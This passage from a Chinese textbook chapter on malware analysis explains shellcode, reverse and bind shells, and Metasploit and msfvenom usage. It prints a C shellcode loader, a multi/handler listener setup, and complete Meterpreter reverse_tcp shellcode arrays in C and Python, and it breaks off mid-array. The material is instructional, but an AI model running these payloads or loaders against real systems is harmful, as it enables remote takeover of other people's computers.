第3章

生成和执行shellcode





“路漫漫其修远兮,吾将上下而求索。”逆向分析恶意代码是一项复杂的任务,其本质是对shellcode恶意代码的行为进行分析,最终达到提取shellcode恶意代码的目的。本章将介绍获取和生成shellcode恶意代码的方法,以及加载和执行shellcode恶意代码的方式。

3.1shellcode介绍

shellcode是一段利用软件漏洞而执行的十六进制机器码,因常被攻击者用于获取系统的命令终端shell接口,所以被称为shellcode。作为机器码的shellcode并不能直接在操作系统中执行,而是需要通过编程语言加载、调用才能执行。C语言中的shellcode常以字符串的形式存储在数组类型的变量中,代码如下:



//实现功能MessageBoxA 弹出对话框

unsigned chaR Shellcode[]=

"\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"

"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"

"\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C" 

"\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0"

"\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B" 

"\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72"

"\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"

"\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"

"\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"

"\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"

"\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"

"\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"

"\x8E\x03\xD3\x52\x33\xFF\x57\x68\x61\x72"

"\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F"

"\x61\x64\x54\x53\xFF\xD2\x68\x33\x32\x01"

"\x01\x66\x89\x7C\x24\x02\x68\x75\x73\x65"

"\x72\x54\xFF\xD0\x68\x6F\x78\x41\x01\x8B"

"\xDF\x88\x5C\x24\x03\x68\x61\x67\x65\x42"

"\x68\x4D\x65\x73\x73\x54\x50\xFF\x54\x24"

"\x2C\x57\x68\x4F\x5F\x6F\x21\x8B\xDC\x57"

"\x53\x53\x57\xFF\xD0\x68\x65\x73\x73\x01"









"\x8B\xDF\x88\x5C\x24\x03\x68\x50\x72\x6F"

"\x63\x68\x45\x78\x69\x74\x54\xFF\x74\x24"

"\x40\xFF\x54\x24\x40\x57\xFF\xD0";





虽然无法通过查看十六进制shellcode代码的方式,了解shellcode代码的功能,但是可以使用scdbg工具逆向分析shellcode代码调用的Windows API函数,从而理解shellcode代码实现的功能。






3.1.1shell终端接口介绍

操作系统中的shell是一个提供给用户的接口,用于与内核交互执行任意系统命令的应用程序,方便用于管理操作系统资源。

Windows操作系统中的shell包括命令提示符程序cmd.exe和PowerShell应用程序,用户可以使用快捷键Windows+R打开运行对话框,如图31所示。


在“运行”对话框的“打开”输入框中输入cmd,单击“确定”按钮,即可打开命令提示符终端窗口界面,如图32所示。



图31Windows操作系统运行对话框




图32Windows操作系统命令提示符终端窗口界面




如果在“运行”对话框的“打开”输入框中输入PowerShell,单击“确定”按钮,则会打开PowerShell终端窗口界面,如图33所示。


用户可以在打开的终端界面中输入预置的命令,按Enter键执行,例如执行whoami命令获取当前登录到Windows操作系统的管理员账号信息,如图34所示。


Linux操作系统也提供给用户用于执行系统命令的终端接口,包括bash、sh等。虽然不同的Linux操作系统发行版本集成了不同的shell接口,但最常见的是Linux操作系统默认集成的bash shell。用户可以在Linux操作系统的终端bash shell中执行不同的系统命令,例如执行ifconfig命令查看网络适配器(网卡)信息,如图35所示。


操作系统中的shell是提供给用户执行系统命令的接口,用户使用接口可以执行任意系统命令,但恶意代码中的shell可划分为Reverse shell(反弹shell)和Bind shell(绑定shell)。


Reverse shell是指强制目标将系统命令shell接口反弹到服务器的监听端口,如图36所示。

Bind shell是指在目标系统中开启监听端口,等待连接,建立可以执行任意命令的shell终端接口,如图37所示。



图33Windows操作系统PowerShell终端窗口界面




图34Windows操作系统shell终端执行命令




图35Linux操作系统终端执行ifconfig命令




图36反弹shell简易原理流程





图37绑定shell简易原理流程



虽然Reverse shell 和Bind shell都能实现执行任意系统命令的功能,但如果目标操作系统开启防火墙,则Reverse shell可以更好地绕过防火墙的过滤策略,导致防火墙防御失效。例如如果防火墙过滤除80端口的所有其他入站和出站端口,则表示当前目标操作系统仅可以访问外部网络服务器的80端口。在这种情况下,Bind shell设置的监听端口都无法被访问,所以Bind shell在当前防火墙的配置环境中无法正常工作,但是对于Reverse shell可以通过将外部网络服务器的监听端口设置为80端口,目标操作系统的防火墙不会过滤对外部网络服务器80端口的访问,做到轻松绕过防护墙的过滤策略,用户可以在反弹的shell接口中执行系统命令。


3.1.2获取shellcode的方法

获取shellcode代码的途径,既可以从互联网上下载,也可以使用本地工具生成。如何编写shellcode并非本书涉及的内容范围,感兴趣的读者可以自行查阅资料学习。

虽然很多网站提供下载shellcode的功能页面,但是Exploit Database官网依然是最受欢迎的网站之一。通过浏览器访问Exploit Database官网,选择网页侧边栏中的SHELLCODE图标,然后在打开的shellcode列表页中选择并下载合适的shellcode,如图38所示。



图38Exploit Database Shellcodes页面


笔者选择Allwin MessageBoxA Shellcode页面的shellcode代码,其中包含执行shellcode代码的C++语言代码,代码如下:



//第3章/shellcode.cpp

/*

Title: Allwin MessageBoxA Shellcode

Date: 2010-06-11

Author: RubberDuck

Web: http://bflow.security-portal.cz


Tested on: Win 2k, Win 2003, Win XP Home SP2/SP3 CZ/ENG (32), Win Vista (32)/(64), Win 7 (32)/(64), Win 2k8 (32)

Thanks to: Kernelhunter, Lodus, Vrtule, Mato, cm3l1k1, eat, st1gd3r and others

*/



#include <stdio.h>

#include <string.h>

#include <stdlib.h>



int main(){

unsigned chaR Shellcode[]= #定义shellcode数组

"\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"

"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"

"\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"

"\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0"

"\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B"

"\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72"

"\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"

"\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"

"\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"

"\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"

"\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"

"\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"

"\x8E\x03\xD3\x52\x33\xFF\x57\x68\x61\x72"

"\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F"

"\x61\x64\x54\x53\xFF\xD2\x68\x33\x32\x01"

"\x01\x66\x89\x7C\x24\x02\x68\x75\x73\x65"

"\x72\x54\xFF\xD0\x68\x6F\x78\x41\x01\x8B"

"\xDF\x88\x5C\x24\x03\x68\x61\x67\x65\x42"

"\x68\x4D\x65\x73\x73\x54\x50\xFF\x54\x24"

"\x2C\x57\x68\x4F\x5F\x6F\x21\x8B\xDC\x57"

"\x53\x53\x57\xFF\xD0\x68\x65\x73\x73\x01"


"\x8B\xDF\x88\x5C\x24\x03\x68\x50\x72\x6F"

"\x63\x68\x45\x78\x69\x74\x54\xFF\x74\x24"

"\x40\xFF\x54\x24\x40\x57\xFF\xD0";



printf("Size = %d\n", strlen(shellcode));



system("PAUSE");









((void (*)())shellcode)(); #执行shellcode



return 0;

}





如果读者尝试将上述代码在Windows 10或Windows 11操作系统中执行,则在操作系统中可能不会弹出对话框。因为这段shellcode代码注释部分提示该代码仅能在Win 2k、Win 2003、Win XP Home SP2/SP3 CZ/ENG (32)、Win Vista (32)/(64),Win 7 (32)/(64)、Win 2k8 (32)操作系统中执行,所以这段shellcode代码可能无法在Windows 10和Windows 11操作系统中正常执行。

使用x64 Native Tools Command Prompt for VS 2022命令工具编译链接以上shellcode代码,命令如下:



cl.exe /nologo /Ox /MT /W0 /GS- /DNDebug /Tc shellcode.cpp /link /OUT:shellcode.exe 
/SUBSYSTEM:CONSOLE /MACHINE:x64





如果命令工具成功编译链接shellcode代码,则会在当前工作目录生成shellcode.exe可执行程序文件,如图39所示。



图39成功编译链接shellcode代码


在Exploit Database官网下载的shellcode代码中,unsigned chaR Shellcode[] 数组用于存储十六进制形式的shellcode,((void (*)())shellcode)()通过指针的方式在计算机操作系统中执行shellcode代码。这段shellcode代码执行后会在系统中弹出一个对话框,输出提示信息,如图310所示。



图310编译运行shellcode恶意代码






注意: 
从互联网下载的shellcode恶意代码可能存在语法错误,有可能是shellcode开发者故意写错,避免“脚本小子”不假思索就使用shellcode代码,导致破坏计算机操作系统。本书案例中的shellcode恶意代码,需将unsigned chaR Shellcode[]数组改为const chaR Shellcode[]才能正确编译执行。




虽然从Exploit Database官网可以快速下载到shellcode代码,但是下载到的shellcode代码并不一定适合实际使用场景,因此恶意代码中的大部分shellcode代码是使用本地工具定制化生成的。虽然有很多工具可以用于自定义生成shellcode代码,但是本质上的功能和使用方法是类似的,本书仅介绍Metasploit Framework 渗透测试框架中的MsfVenom工具生成shellcode代码,感兴趣的读者可以从互联网上查找其他工具学习和使用。

3.2Metasploit工具介绍

Metasploit是一个开源的渗透测试平台,集成了大量渗透测试相关模块,几乎覆盖了渗透测试过程中用到的工具。Metasploit框架是由Ruby语言编写的模块化框架,具有良好的拓展性,渗透测试人员可以根据实际工作,开发定制相应工具模块。

Metasploit有两个主要版本,分别是Metasploit Pro和Metasploit Framework。Metasploit Pro是Metasploit的商业收费版,提供自动化管理任务的功能,用户可以在可视化界面中完成渗透测试任务。Metasploit Framework是Metasploit的开源社区版,用户需要在命令终端界面中完成渗透测试任务。对于学习Metasploit,使用Metasploit Framework可以满足对应需求,本书将在Kali Linux中集成的Metasploit Framework讲授Metasploit的使用方法。

3.2.1Metasploit Framework目录组成

KaliLinux中的Metasploit Framework默认保存在/usr/share/metasploitframework目录。在bash shell命令终端中执行ls命令查看目录的文件信息,如图311所示。



图311metasploitframework目录文件信息


在metasploitframework目录中的不同子目录保存着框架运行过程中的不同配置内容,其中重要的子目录有data、modules、tools等。

在data子目录中存储Metasploit Framework渗透测试框架运行过程中的数据内容,如图312所示。



图312data子目录中的文件信息


其中wordlists目录中存储了各种字典文件,如图313所示。



图313wordlists目录中的文件信息


在module子目录中存储了Metasploit Framework渗透测试框架的各种功能模块,如图314所示。



图314module子目录中的文件信息


在tools子目录中存储了Metasploit Framework渗透测试框架的各种工具,如图315所示。



图315tools子目录中的文件信息


Metasploit Framework渗透测试框架中绝大多数工具使用Ruby语言编写,例如smb_file_server.rb脚本用于创建SMB服务器,代码如下:



└─$ cat smb_file_server.rb 

#!/usr/bin/env ruby










#引入库文件

require 'pathname'

require 'ruby_smb'



#we just need *a* default encoding to handle the strings from the NTLM messages

Encoding.default_internal = 'UTF-8' if Encoding.default_internal.nil?



options = RubySMB::Server::Cli.parse(defaults: { share_path: '.', username: 'metasploit' }) do |options, parser|

parser.banner = <<~EOS

Usage: #{File.basename(__FILE__)} [options]



Start a read-only SMB file server.



Options:

EOS



parser.on("--share-path SHARE_PATH", "The path to share (default: #{options[:share_path]})") do |path|

options[:share_path] = path

end

end



server = RubySMB::Server::Cli.build(options)

server.add_share(RubySMB::Server::Share::Provider::Disk.new(options[:share_name], options[:share_path]))

#启动SMB服务

RubySMB::Server::Cli.run(server)





3.2.2Metasploit Framework模块组成

Metasploit Framework渗透测试框架是基于模块组织的,根据功能的不同将Ruby语言编写的脚本划分到不同模块中。模块分为auxiliary、encoders、evasion、exploits、nops、payloads、post。

不同模块具有不同功能的脚本,模块功能如表31所示。


表31Metasploit Framework模块功能



模 块 名 称模 块 功 能


auxiliary
辅助模块,信息收集
encoders
编码模块,对payload的编码
evasion
规避模块,对payload的规避杀软
exploits
漏洞利用模块,测试安全漏洞
nops
空模块,生成不同系统的nop指令
payloads
攻击载荷模块,生成反弹或绑定shell
post
后渗透模块,获取目标shell后,进一步测试


Metasploit Framework渗透测试框架的使用方法固定,不同模块的使用方法没有差异。例如使用auxiliary辅助模块的auxiliary/scanner/http/http_version脚本收集目标HTTP服务器版本信息。

在Metasploit Framework渗透测试框架中的msfconsole命令终端接口加载http_version脚本,命令如下:



use auxiliary/scanner/http/http_version





脚本加载完毕后,执行show options命令查看http_version脚本需要配置的参数,如图316所示。



图316脚本需要配置的参数


在脚本参数列表中,如果Required列的值是yes,则必须设置对应参数值。http_version脚本中RHOSTS参数必须设置为目标服务器的IP地址或域名,使用set RHOSTS 127.0.0.1命令将目标服务器IP地址设置为127.0.0.1,如图所317所示。



图317将RHOSTS参数值设置为127.0.0.1






注意: 
计算机网络中127.0.0.1是本地环回网卡的IP地址,localhost是本地解析到127.0.0.1的域名。本地环回网卡主要用于测试网卡是否可以正常工作。




设置http_version脚本的RHOSTS参数后,再次使用show options命令可以查看参数是否设置成功。如果将RHOSTS参数设置为127.0.0.1,则可执行run或exploit命令获取HTTP服务器的版本信息,如图318所示。



图318获取HTTP服务器版本信息


成功执行http_version脚本后,会输出目标HTTP服务器的版本信息Apache/2.4.54。其他模块中脚本的使用方法与auxialiary模块中http_version脚本的使用方法一致,感兴趣的读者可以选择使用其他模块中的脚本。

3.2.3Metasploit Framework命令接口

Metasploit Framework渗透测试框架提供了命令终端接口,用户可以在命令终端中执行不同模块的脚本完成渗透测试任务。在Linux shell终端中执行msfconsole命令打开Metasploit Framework命令接口,如图319所示。



图319Kali Linux终端中打开Metasploit框架


在Metasploit Framework渗透测试框架的命令终端msfconsole中输入help或“?”获取命令帮助信息,如图320所示。



图320查看msfconsole帮助信息


Metasploit Framework 渗透测试框架对msfconsole终端中的命令进行分类,不同分类中的命令有不同功能。

Metasploit Framework命令接口msfconsole的Core Command分类中提供了核心命令,命令如下:



#输出帮助信息

?              Help menu

#输出banner信息

banner        Display an awesome metasploit banner

#改变当前工作目录路径

cd             Change the current working directory

#修改终端颜色

color         Toggle color

#连接到远程主机

connect       Communicate with a host

#输出调试信息

Debug         Display information useful for Debugging

#退出终端

exit           Exit the console

#输出没有发布的功能特性

features      Display the list of not yet released features that can be opted in to

#获取具体变量的值

get            Gets the value of a context-specific variable

#获取全局变量的值

getg           Gets the value of a global variable

#筛选其他命令的输出内容

grep           Grep the output of another command

#输出帮助信息

help           Help menu

#输出命令历史记录

history        Show command history

#加载框架插件

load            Load a framework plugin

#退出终端

quit            Exit the console

#重复执行命令列表

repeat          Repeat a list of commands

#设置会话路由








route             Route traffic through a session

#保存配置信息

save              Saves the active datastores

#输出会话列表

sessions         Dump session listings and display information about sessions

#设置参数值

set               Sets a context-specific variable to a value

#设置全局参数值

setg              Sets a global variable to a value

#休眠

sleep             Do nothing for the specified number of seconds

#将终端输出保存到文件

spool             Write console output into a file as well the screen

#查看和操作后台线程

threads           View and manipulate background threads

#输出tips技巧

tips              Show a list of useful productivity tips

#卸载框架插件

unload            Unload a framework plugin

#消除参数值

unset             Unsets one or more context-specific variables

#消除全局参数值

unsetg            Unsets one or more global variables

#输出版本信息

version           Show the framework and console library version numbers





Metasploit Framework命令接口msfconsole的Module Commands分类中提供了模块相关命令,命令如下:



#输出模块高级选项

advanced  Displays advanced options for one or more modules

#回退

back               Move back from the current context

#清除模块栈

clearm             Clear the module stack

#将模块添加到喜爱模块列表

favorite           Add module(s) to the list of favorite modules

#输出模块信息

info                Displays information about one or more modules

#输出模块栈

listm               List the module stack

#从具体路径中搜索并加载模块

loadpath           Searches for and loads modules from a path

#输出模块的全局选项

options            Displays global options or for one or more modules

#模块出栈并激活

popm               Pops the latest module off the stack and makes it active

#使用前的模块作为当前模块

previous          Sets the previously loaded module as the current module








#模块压栈

pushm                Pushes the active or list of modules onto the module stack

#重新加载模块

reload_all        Reloads all modules from all defined module paths

#搜索模块

search             Searches module names and descriptions

#输出信息

show               Displays modules of a given type, or all modules

#使用模块

use                Interact with a module by name or search term/index





Metasploit Framework命令接口msfconsole的Job Commands分类中提供了作业相关命令,命令如下:



#以作业的方式启动payload handler

handler              Start a payload handler as job

#输出并管理作业

jobs                  Displays and manages jobs

#终止作业

kill                  Kill a job

#重命名作业

rename_job           Rename a job





Metasploit Framework命令接口msfconsole的Resource Script Commands分类中提供了资源脚本相关命令,命令如下:



#将msfconsole执行命令保存到文件

makerc        Save commands entered since start to a file

#从文件中执行msfconsole命令

resource      Run the commands stored in a file





Metasploit Framework命令接口msfconsole的Database Backend Commands分类中提供了数据库相关命令,命令如下:



#分析数据库中IP地址或IP地址范围主机信息

analyze            Analyze database information about a specific address or address range

#连接数据库服务

db_connect        Connect to an existing data service

#中断数据库连接

db_disconnect     Disconnect from the current data service

#导出数据库

db_export          Export a file containing the contents of the database

#导入数据库

db_import          Import a scan result file (filetype will be auto-detected)

#执行nmap并保存结果

db_nmap             Executes nmap and records the output automatically

#重构数据库存储缓存

db_rebuild_cache  Rebuilds the database-stored module cache (deprecated)

#移除数据服务连接信息








db_remove          Remove the saved data service entry

#保存数据库连接信息

db_save            Save the current data service connection as the default to reconnect on startup

#输出当前数据库服务状态

db_status         Show the current data service status

#列举数据库中主机信息

hosts              List all hosts in the database

#列举数据库中loot信息

loot               List all loot in the database

#列举数据库中标记信息

notes              List all notes in the database

#列举数据库中服务信息

services          List all services in the database

#列举数据库中漏洞信息

vulns              List all vulnerabilities in the database

#切换数据库工作区

workspace         Switch between database workspaces





Metasploit Framework命令接口msfconsole的Credentials Backend Commands分类中提供了认证信息相关命令,命令如下:



#列举数据库中认证信息

credsList all credentials in the database





Metasploit Framework命令接口msfconsole的Developer Commands分类中提供了开发者模式相关命令,命令如下:



#编辑模块

edit                 Edit the current module or a file with the preferred editor

#打开Ruby交互终端

irb                  Open an interactive Ruby shell in the current context

#输出使用日志记录

log                  Display framework.log paged to the end if possible

#打开pry调试功能

pry                  Open the Pry Debugger on the current module or Framework

#重新加载Ruby库

reload_lib          Reload Ruby library files from specified paths

#输出命令执行时间

time                 Time how long it takes to run a particular command





在输出的帮助信息中也包括msfconsole的使用案例,命令如下:



#终止第1个会话

Terminate the first sessions: 

sessions -k 1

#停止job作业

Stop some extra running jobs:  

jobs -k 2-6,7,8,11..15








#使用模块检查IP地址对应主机

Check a set of IP addresses:

check 127.168.0.0/16, 127.0.0-2.1-4,15 127.0.0.255

#IPv6的主机地址

Target a set of IPv6 hosts:

set RHOSTS fe80::3990:0000/110, ::1-::f0f0

#CIDR类型的主机地址

Target a block from a resolved domain name:

set RHOSTS www.example.test/24





Metasploit Framework渗透测试框架命令接口msfconsole的命令被分为不同类型,可根据提示选择使用不同类型的命令。本书中以msfconsole终端中设置监听服务器端为例,讲授框架中常用的命令。

Metasploit框架使用相关命令创建监听服务,等待客户端执行shellcode,反弹的shell会自动连接到监听服务,msfconsole创建监听服务的命令如下:



msf6 > use exploit/multi/handler

msf6 exploit(multi/handler) > set payload Windows/meterpreter/reverse_tcp

msf6 exploit(multi/handler) > set lhost 192.168.10.129

msf6 exploit(multi/handler) > set lport4444

msf6 exploit(multi/handler) > exploit





执行创建命令后,会在msfconsole终端本地服务器端开启对4444端口的监听,如图321所示。



图321Metasploit框架创建监听服务





注意: 
在创建监听服务过程中,Metasploit默认将4444端口设置为监听端口。




3.3MsfVenom工具介绍

MsfVenom是Metasploit Framework渗透测试框架中用于生成payload攻击载荷的工具,MsfVenom中同时具有msfpayload和msfencode两个工具的功能,既可以生成payload攻击载荷,也可以编码payload攻击载荷。

在Kali Linux命令终端中执行msfvenom h命令,输出帮助信息,如图322所示。


MsfVenom工具的使用方法固定,命令如下:



#使用方法

/usr/bin/msfvenom [options] <var=val>

#案例

/usr/bin/msfvenom -p Windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe







图322输出MsfVenom工具帮助信息


在Kali Linux终端执行案例的命令后,会在当前工作路径下生成Meterpreter反弹shell的payload攻击载荷,保存到payload.exe文件。

3.3.1MsfVenom参数说明

MsfVenom工具中集成了msfpayload和msfencode的功能,使用参数切换配置,既可以生成符合不同情景的攻击载荷payload,也可以生成shellocde代码。MsfVenom的参数代码如下:



#列举模块,模块包括payloads、encoders、nops、platforms、archs、encrypt、formats、all

-l, --list <type>List all modules for [type]. 

#设定payload类型

-p, --payload   <payload>

#列举payload参数

--list-options    List --payload <value>'s standard, advanced and evasion options

#设定输出格式

-f, --format     <format>   Output format (use --list formats to list)

#设定编码类型

-e, --encoder    <encoder>  The encoder to use (use --list encoders to list)

#设定服务名称

--service-name   <value>    The service name to use when generating a service binary

#设定节名称

--sec-name        <value>    The new section name to use when generating large Windows binaries. Default: random 4-character alpha string

#使用所有编码方式,生成最小payload攻击载荷

--smallest                    Generate the smallest possible payload using all available encoders

#设定对shellcode加密或编码的类型

--encrypt         <value>    The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)










#设定密钥key值

--encrypt-key     <value>    A key to be used for --encrypt

#设定加密的初始化向量

--encrypt-iv      <value>    An initialization vector for --encrypt

#设定系统架构

-a, --arch         <arch>     The architecture to use for --payload and --encoders (use --list archs to list)

#设定平台类型

--platform        <platform> The platform for --payload (use --list platforms to list)

#将payload攻击载荷保存到文件

-o, --out         <path>     Save the payload to a file

#删除shellcode中的坏字节

-b, --bad-chars  <list>     Characters to avoid example: '\x00\xff'

#设定nop空操作大小

-n, --nopsled     <length>  Prepend a nopsled of [length] size on to the payload

#设定nop空操作自动补全大小

--pad-nops                    Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)

#设定最大的payload攻击载荷所占字节数

-s, --space       <length>   The maximum size of the resulting payload

#设定最大的编码payload攻击载荷所占字节数

--encoder-space  <length>   The maximum size of the encoded payload (defaults to the -s value)

#设定最大编码次数

-i, --iterations      <count>    The number of times to encode the payload

#设定包含其他的win32 shellcode文件

-c, --add-code        <path>     Specify an additional win32 shellcode file to include





#设定自定义可执行程序模板

-x, --template        <path>     Specify a custom executable file to use as a template

#设定注入shellcode代码的可执行程序能够正常运行,shellcode以线程的方式运行

-k, --keep                          Preserve the --template behaviour and inject the payload as a new thread

#设定自定义变量

-v, --var-name        <value>    Specify a custom variable name to use for certain output formats

#设定超时时间值

-t, --timeout         <second>   The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)

#输出帮助信息

-h, --help                        Show this message 





3.3.2MsfVenom生成shellcode

MsfVenom工具既可以生成EXE可执行程序,也可以生成适合各种编程语言的shellcode代码。例如使用MsfVenom工具生成Meterperter reverse shellcode代码,命令如下:



msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.129 LPORT=4444 -f c

#-p设置payload类型

#LHOST 设置监听端IP地址

#LPORT 设置监听端端口号

#-f设置shellcode类型





命令执行成功后,会在Kali Linux命令终端中输出shellcode,代码如下:



Payload size: 354 Bytes

Final size of c file: 1512 Bytes

unsigned char buf[] = 

"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52\x30"

"\x8b\x52\x0c\x8b\x52\x14\x31\xff\x8b\x72\x28\x0f\xb7\x4a\x26"

"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"

"\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78"

"\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x50\x8b\x58\x20\x01\xd3"

"\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xc1"

"\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"

"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"

"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"

"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"

"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"

"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"

"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x0a\x81\x68\x02"

"\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"

"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"

"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"

"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"

"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"

"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"

"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"

"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"

"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"

"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"

"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";







MsfVenom工具不仅可以生成符合C语言语法格式的shellcode代码,也可以生成符合其他编程语言格式的shellcode代码。在Kali Linux命令终端执行msfvenom list formats命令后,查看MsfVenom工具支持的输出格式,如图323所示。


在MsfVenom工具中执行相关命令可生成Python语言格式的shellcode代码,命令如下:



msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 -f python 

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

[-] No arch selected, selecting arch: x86 from the payload








No encoder specified, outputting raw payload

Payload size: 354 Bytes

Final size of python file: 1757 Bytes

buf =  b""

buf += b"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64"

buf += b"\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28"

buf += b"\x31\xff\x0f\xb7\x4a\x26\x31\xc0\xac\x3c\x61\x7c"

buf += b"\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52"

buf += b"\x8b\x52\x10\x57\x8b\x42\x3c\x01\xd0\x8b\x40\x78"

buf += b"\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x8b\x58\x20"

buf += b"\x50\x01\xd3\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34"

buf += b"\x8b\x01\xd6\x31\xc0\xc1\xcf\x0d\xac\x01\xc7\x38"

buf += b"\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58"

buf += b"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"

buf += b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b"

buf += b"\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12"

buf += b"\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00\x00\x68"

buf += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"

buf += b"\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"

buf += b"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\x7f\x00\x00"

buf += b"\x01\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50"

buf += b"\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97"

buf += b"\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85"

buf += b"\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"

buf += b"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"

buf += b"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68"

buf += b"\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5"

buf += b"\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"

buf += b"\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"

buf += b"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff"

buf += b"\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff"

buf += b"\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"

buf += b"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2"

buf += b"\x56\x6a\x00\x53\xff\xd5"







图323MsfVenom工具支持的输出格式


如果shellcode代码在客户端计算机中执行,则客户端反弹shell到监听端。监听端就可以通过反弹的shell在客户端计算机中执行任意系统命令。

3.4C语言加载执行shellcode代码

Windows操作系统无法直接执行shellcode代码,需要使用编程语言将shellcode加载到内存空间,然后执行内存空间中的shellcode代码。在众多的编程语言中,C语言是一门面向过程的编程语言,也是最接近操作系统底层的编程语言之一,尤其C语言的指针可以方便地对内存操作,实现执行shellcode代码功能,代码如下:



//第3章/testshellcode.cpp

#include<stdio.h>

#include<windows.h>

#include<stdlib.h>

#include<string.h>

//MsfVenom生成C语言格式的shellcode代码

unsigned chaR Shellcode[] = 

"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52\x30"

